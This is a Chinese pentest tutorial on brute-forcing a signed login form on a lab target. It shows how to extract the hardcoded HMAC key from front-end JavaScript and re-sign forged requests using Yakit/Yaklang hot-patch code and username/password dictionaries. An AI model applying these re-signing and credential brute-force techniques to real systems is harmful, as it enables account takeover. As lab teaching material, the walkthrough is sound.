【渗透测试】开局一个登录框,破解验签防篡改
开局一个登录框,破解验签防篡改
注意事项:
本文所说签名、验签非商密测评中的标准表述,如HMAC-SM3本文中表述为【签名】,实际密码学中表述为【基于密码杂凑算法的消息鉴别码(MAC)机制】,所以,阅读本文莫要钻牛角尖。
顺便一提,签名并不能解决“明文密码传输”。
1.准备工作
测试工具:Yakit
工具版本:社区版 Yakit v1.4.4-0801
更新日志:
Yakit v1.4.4-08011. 暗黑模式上线2. 修复引擎版本一样还弹框重置的问题3. 流量分析增加匹配器Yaklang 1.4.3-alpha08061. 新增excel表格操作库2. 流量分析功能支持匹配器3. 新增mitm 插件执行trace功能4. 新增三方应用下载管理功能5. 修复代码分析 字符串常量截断问题6. 修复http流量清楚tag失败问题7. 修复ai模型查询崩溃问题8. 修复ssa 数据流分析bug
靶场地址:
http://192.168.189.17:8787/crypto/sign/hmac/sha256


2.流量劫持

加密前表单数据
{ "username": "admin", "password": "123456"}
加密后表单数据
{ "signature": "7d113a1544cd53ff6c527c865511be4f18d4372a7fa571dbc035f0fc12b2b092", "key": "31323334313233343132333431323334", "username": "admin", "password": "123456"}

POST /crypto/sign/hmac/sha256/verify Host: 192.168.189.17:8787User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36Referer: http://192.168.189.17:8787/crypto/sign/hmac/sha256Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Accept: */*Content-Type: application/jsonOrigin: http://192.168.189.17:8787Content-Length: 177 { "signature": "7d113a1544cd53ff6c527c865511be4f18d4372a7fa571dbc035f0fc12b2b092", "key": "31323334313233343132333431323334", "username": "admin", "password": "123456"}
3.分析代码
签名验证(又叫验签或签名)是验证请求参数是否被篡改的一种常见安全手段,验证签名方法主流的有两种,一种是 KEY+哈希算法,例如 HMAC-SM3 / HMAC-SHA256 等,另外生成签名的规则可能为:username=*&password=*。在提交和验证的时候需要分别对提交数据进行处理,签名才可以使用和验证。
在 Yakit 手动劫持中,劫持到验证数据包,然后直接进行修改:
大家深入思考验签的流程,就很容易想到,只要修改数据的时候,连带签名一起修改掉就好了。
大部分签名的逻辑都藏在前端 JavaScript 中;
签名中字段的顺序一般来说是有意义的,JavaScript 中的 Object Properties 是有顺序的;
JavaScript 签名的算法可能用的算法库一般不需要用户手动实现,找出算法一般就可以开始实现了。
通过浏览器操作直接定位到 HTML 元素:

<form id="json-form" class="mt-4"> <div class="mb-3"> <label for="username" class="form-label">UserName</label> <input id="username" class="form-control" type="text"> </div> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input id="password" class="form-control" type="text"> </div> <button id="submit" type="submit" class="btn btn-primary">Submit</button></form>
这个表格和日常见到的表格是不一样的,没有action也没有method,一般来说,在没有这些东西情况下,有两种情况:
(大概率)表单提交事件会忽略掉默认浏览器行为,直接通过 JavaScript 来操作的;
表单只提交到当前页面使用默认的 method 方法。
在看页面内容中,发现 <script>中有一段 JavaScript 代码比较明显,从generateKey到Encrypt和Decrypt应有尽有,这个很明显这个表单就是通过 JS 去操作的了。

<script> function generateKey() { return CryptoJS.enc.Utf8.parse("1234123412341234") // 十六位十六进制数作为密钥 } const key = generateKey() // 解密方法 function Decrypt(word) { return ""; } // 加密方法 function Encrypt(word) { console.info(word); return CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString(); } function getData() { return { "username": document.getElementById("username").value, "password": document.getElementById("password").value, } } function outputObj(jsonData) { const word = `username=${jsonData.username}&password=${jsonData.password}`;; return { "signature": Encrypt(word), "key": key.toString(), username: jsonData.username, password: jsonData.password, } } function submitJSON(event) { event.preventDefault(); const url = "/crypto/sign/hmac/sha256/verify"; let jsonData = getData(); let submitResult = JSON.stringify(outputObj(jsonData), null, 2) console.log("key", key) fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: submitResult, }) .then(response => response.text()) .then(data => { console.log("Success:", data); document.body.innerHTML = data; }) .catch((error) => { console.error("Error:", error); }); } document.getElementById("json-form").addEventListener("change", () => { let jsonData = { "username": document.getElementById("username").value, "password": document.getElementById("password").value, }; document.getElementById("encrypt").innerHTML = JSON.stringify(outputObj(jsonData), null, 2) document.getElementById("input").innerHTML = JSON.stringify(jsonData, null, 2) }) document.getElementById("json-form").addEventListener("submit", submitJSON)</script>
顺便一提,JS 操作表单提交数据的5种方式:
通过创建一个form元素然后执行他的submit方法来实现
const formInstance = document.createElement("form");...;formInstance.submit();
使用 AJAX:
var xhr = new XMLHttpRequest();...;xhr.open("POST", '/submit', true);
使用 jQuery Ajax:
$.ajax(...)
通过 JavaScript fetch 函数实现
使用第三方库例如Axios API实现
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script><script> // 安全警告:固定密钥仅用于演示,生产环境应使用动态密钥 const key = CryptoJS.enc.Utf8.parse("1234123412341234"); // 直接保留为WordArray function Encrypt(word) { // 直接使用WordArray格式的密钥,避免转字符串 const signature = CryptoJS.HmacSHA256(word, key); return signature.toString(CryptoJS.enc.Hex); // 明确输出十六进制 } function getData() { return { username: document.getElementById("username").value, password: document.getElementById("password").value, }; } function outputObj(jsonData) { const word = `username=${jsonData.username}&password=${jsonData.password}`; return { signature: Encrypt(word), // 关键修复:不再返回密钥到前端 username: jsonData.username, password: jsonData.password, }; } function submitJSON(event) { event.preventDefault(); const url = "/crypto/sign/hmac/sha256/verify"; const jsonData = getData(); const payload = JSON.stringify(outputObj(jsonData)); fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: payload, }) .then(response => response.text()) .then(data => { document.body.innerHTML = data; }) .catch(console.error); } // 初始化事件监听 document.addEventListener("DOMContentLoaded", () => { const form = document.getElementById("json-form"); form.addEventListener("input", () => { const jsonData = getData(); document.getElementById("input").textContent = JSON.stringify(jsonData, null, 2); document.getElementById("encrypt").textContent = JSON.stringify(outputObj(jsonData), null, 2); }); form.addEventListener("submit", submitJSON); });</script>
分析给定的代码,主要功能包括:
1. 生成一个固定的密钥(key): "1234123412341234"(UTF8编码)
2. 加密方法(Encrypt): 使用HMAC-SHA256算法,用密钥对传入的字符串进行加密,返回加密后的字符串。
3. 解密方法(Decrypt): 当前为空,没有实际功能。
4. 获取表单数据(getData): 从页面中获取用户名和口令。
5. 构造输出对象(outputObj): 将用户名和口令按照"username=xxx&password=xxx"的格式拼接,然后计算其HMAC-SHA256签名(signature),同时返回密钥(key)以及原始的用户名和口令。
6. 提交JSON(submitJSON): 阻止表单默认提交事件,构造请求体(outputObj返回的对象转为JSON字符串),向指定URL发送POST请求,并将响应结果替换整个页面内容。
7. 事件监听:表单的change事件,当表单内容变化时,更新页面上的两个元素(input和encrypt)的内容,分别显示原始数据和加密后的数据(包括签名、密钥和原始数据)。
8. 表单的submit事件绑定submitJSON函数。


通过上述描述的内容,可以很容易分析出这个表单提交和验签算法的基础逻辑:
生成一个 KEY,默认为 16 位数 1234123412341234
从表单中获取用户填写的用户名和口令进入getData()函数中
用户数据用户名口令字符串排列拼接好之后,使用Encrypt函数为他计算签名
把计算的结果和 KEY 进行 JSON.stringify(...)处理后通过fetch提交

4.编写代码
要重放这个请求,一定需要经过验签。对应的验签名逻辑根据描述其实非常好做,简单实用 Yaklang 来实现一下(验签的核心函数是 HMMAC-Sha256)这在 Yaklang 中是有对应的函数的,只需要调用即可。
result = codec.HmacSha256("1234123412341234", "username=admin&password=123456")~result = codec.EncodeToHex(result)dump(result)// (string) (len=64) "7d113a1544cd53ff6c527c865511be4f18d4372a7fa571dbc035f0fc12b2b092" func sign(user, pass) { return codec.EncodeToHex(codec.HmacSha256("123412341234", f`username=${user}&password=${pass}`)~)}

通过简单的函数封装,就实现了和 JavaScript 相同的计算结果,那么可以完整地实现一下 Web Fuzzer 对验签的爆破过程:

编写代码来承载核心的签名功能:
func sign(user, pass) { return codec.EncodeToHex(codec.HmacSha256("1234123412341234", f`username=${user}&password=${pass}`)~)} signRequest = result => { pairs := result.SplitN("|", 2) dump(pairs) return sign(pairs[0], pairs[1])}
这两个函数在热加载中可以通过 {{yak(signRequest|...)}}来调用,配合编写的标签,直接实现发包的时候签名,达到爆破的目的。通过设置 fuzztag 的变量,直接对签名进行动态修改并且每一次都能验签成功,实际上已经可以进行爆破了!那么很自然的,可以设置变量中的 password 直接对有签名验证的登录点进行爆破。5.实际利用方法一:变量单独设置用户名
user_top10可以通过 fuzz 模块 {{x(字典名)}} 来渲染
{{x(user_top10)}}
口令
pass_top25可以通过 fuzz 模块 {{x(字典名)}} 来渲染
{{x(pass_top25)}}
用户数据
username={{param(username)}}&password={{param(password)}}
签名值
{{yak(signRequest|{{param(username)}}|{{param(password)}})}}
热加载代码
func sign(user, pass) { return codec.EncodeToHex(codec.HmacSha256("1234123412341234", f`username=${user}&password=${pass}`)~)} signRequest = result => { pairs := result.SplitN("|", 2) dump(pairs) return sign(pairs[0], pairs[1])}
请求数据
POST /crypto/sign/hmac/sha256/verify HTTP/1.1Host: 192.168.189.17:8787User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36Referer: http://192.168.189.17:8787/crypto/sign/hmac/sha256Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Accept: */*Content-Type: application/jsonOrigin: http://192.168.189.17:8787Content-Length: 177 { "signature":"{{yak(signRequest|{{param(username)}}|{{param(password)}})}}", "key": "31323334313233343132333431323334", "username":"{{param(username)}}", "password":"{{param(password)}}"}
为了方便直观看到结果,可以设置匹配器
方法二:变量整体设置用户名
user_top10可以通过 fuzz 模块 {{x(字典名)}} 来渲染
{{x(user_top10)}}
口令
pass_top25可以通过 fuzz 模块 {{x(字典名)}} 来渲染
{{x(pass_top25)}}
用户数据
username={{x(user_top10)}}&password={{x(pass_top25)}}
请求数据
{{yak(decode3)}}
热加载代码
decode3 = func(param) { key = `1234123412341234` usernameDict = x"{{x(user_top10)}}" // 可以使用x前缀字符串来通过fuzztag语法获取user_top10字典中的值 /* 用户字典 */ passwordDict = x"{{x(pass_top25)}}" // 可以使用x前缀字符串来通过fuzztag语法获取pass_top25字典中的值 /* 密码字典 */ resultList = [] for username in usernameDict { for password in passwordDict { data = f`username=${username}&password=${password}` signature = codec.EncodeToHex(codec.HmacSha256(key, data)) m = { "signature": signature, "key": "31323334313233343132333431323334", "username": username, "password": password } res = json.dumps(m) resultList.Append(res) } } return resultList}
请求数据
POST /crypto/sign/hmac/sha256/verify HTTP/1.1Host: 192.168.189.17:8787User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36Referer: http://192.168.189.17:8787/crypto/sign/hmac/sha256Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Accept: */*Content-Type: application/jsonOrigin: http://192.168.189.17:8787Content-Length: 177 {{yak(decode3)}}
为了方便直观看到结果,可以设置匹配器
6.知识扩展热加载热加载是一种允许在不停止或重启应用程序的情况下,动态加载或更新特定组件或模块的功能。这种技术常用于开发过程中,提高开发效率和用户体验。在Yakit 的Web Fuzzer中,热加载是一种高级技术,让 Yak 成为 Web Fuzzer 和用户自定义代码中的桥梁,它允许编写一段 Yak 函数,在 Web Fuzzer 过程中使用,从而实现自定义 fuzztag 或更多功能。调用热加载 fuzztag无参数调用
{{yak(funcname)}}
有参数调用
{{yak(funcname|param)}}
传入的参数可以是 fuzztag
{{yak(funcname|{{x(pass_top25)}})}}
热加载函数定义
// 函数名为funcname,参数只有一个,为param,类型是字符串funcname = func(param) { // 返回值可以是字符串或数组 return param}
热加载中的"魔术方法"在热加载代码区中,实际上存在两个特殊的魔术方法:beforeRequest和afterRequest,它函数的定义如下:
// beforeRequest 允许发送数据包前再做一次处理,定义为 func(origin []byte) []byte beforeRequest = func(req) { return []byte(req)} // afterRequest 允许对每一个请求的响应做处理,定义为 func(origin []byte) []byte afterRequest = func(rsp) { return []byte(rsp)}
这两个魔术方法分别在每次请求之前和每次请求拿到响应之后调用,它们可以用于修改 Web Fuzzer 的请求与响应。通过这两个魔术方法配合 Yak代码,实际上可以实现许多有用的功能。以下是一个简单的例子,将请求包中的__TIMESTAMP__替换为当前的时间戳:
如果只是使用这两个魔术方法,实际上不需要在 Web Fuzzer 中使用热加载 fuzztag ,它就会自动执行。
签名验证(又叫验签或签名)是验证请求参数是否被篡改的一种常见安全手段,验证签名方法主流的有两种,一种是 KEY+哈希算法,例如 HMAC-MD5 / HMAC-SHA256 等,本案例就是这种方法的典型案例。生成签名的规则为:username=*&password=*。在提交和验证的时候需要分别对提交数据进行处理,签名才可以使用和验证
CryptoJS 小技巧与基础设定
CryptoJS 的 key 在没有明确指定编码方式的情况下,默认的 toString 方法将输出十六进制 (Hex) 格式的字符串。这是因为 CryptoJS 的 WordArray 对象(用于表示二进制数据)的 toString 方法默认使用的编码器是 CryptoJS.enc.Hex。
例如,如果你创建了一个 WordArray 对象并调用了 toString 方法,你会得到一个十六进制的字符串:
var key = CryptoJS.enc.Utf8.parse('1234567890123456'); console.log(key.toString()); // 输出 "31323334353637383930313233343536"
在上面的例子中,"31323334353637383930313233343536" 是字符串 "1234567890123456" 的 UTF-8 编码的十六进制表示。
如果你想要得到其他格式的字符串,你可以使用其他的编码器,例如 CryptoJS.enc.Base64 或 CryptoJS.enc.Utf8。例如:
console.log(key.toString(CryptoJS.enc.Base64)); // 输出 "MTIzNDU2Nzg5MDEyMzQ1Ng==" console.log(key.toString(CryptoJS.enc.Utf8)); // 输出 "1234567890123456"
在查看网页内容的时候,用户需要注意编码情况,不然会浪费大量不必要的时间
前端处理 RSA 常用技术 (jsrsasign)
jsrsasign 是前端常用的 RSA 加解密的库
KEYUTIL.getKey(publicKey).encrypt(...)
即可实现加密,后端解密需要使用 RSA1v15 Decrypt 接口。
注意:jsrsasign 使用 2048 位公钥加密数据不高于 (256-11) 个字节,否则会报错。
7.参考文章
热加载
https://yaklang.com/products/Web%20Fuzzer/fuzz-hotpatch
热加载场景案例:csrf token保护下的爆破
https://yaklang.com/products/Web%20Fuzzer/fuzz-hotpatch-example1
热加载场景案例:爆破aes cbc加密
https://yaklang.com/products/Web%20Fuzzer/fuzz-hotpatch-example2
文章来源:利刃信安
华盟君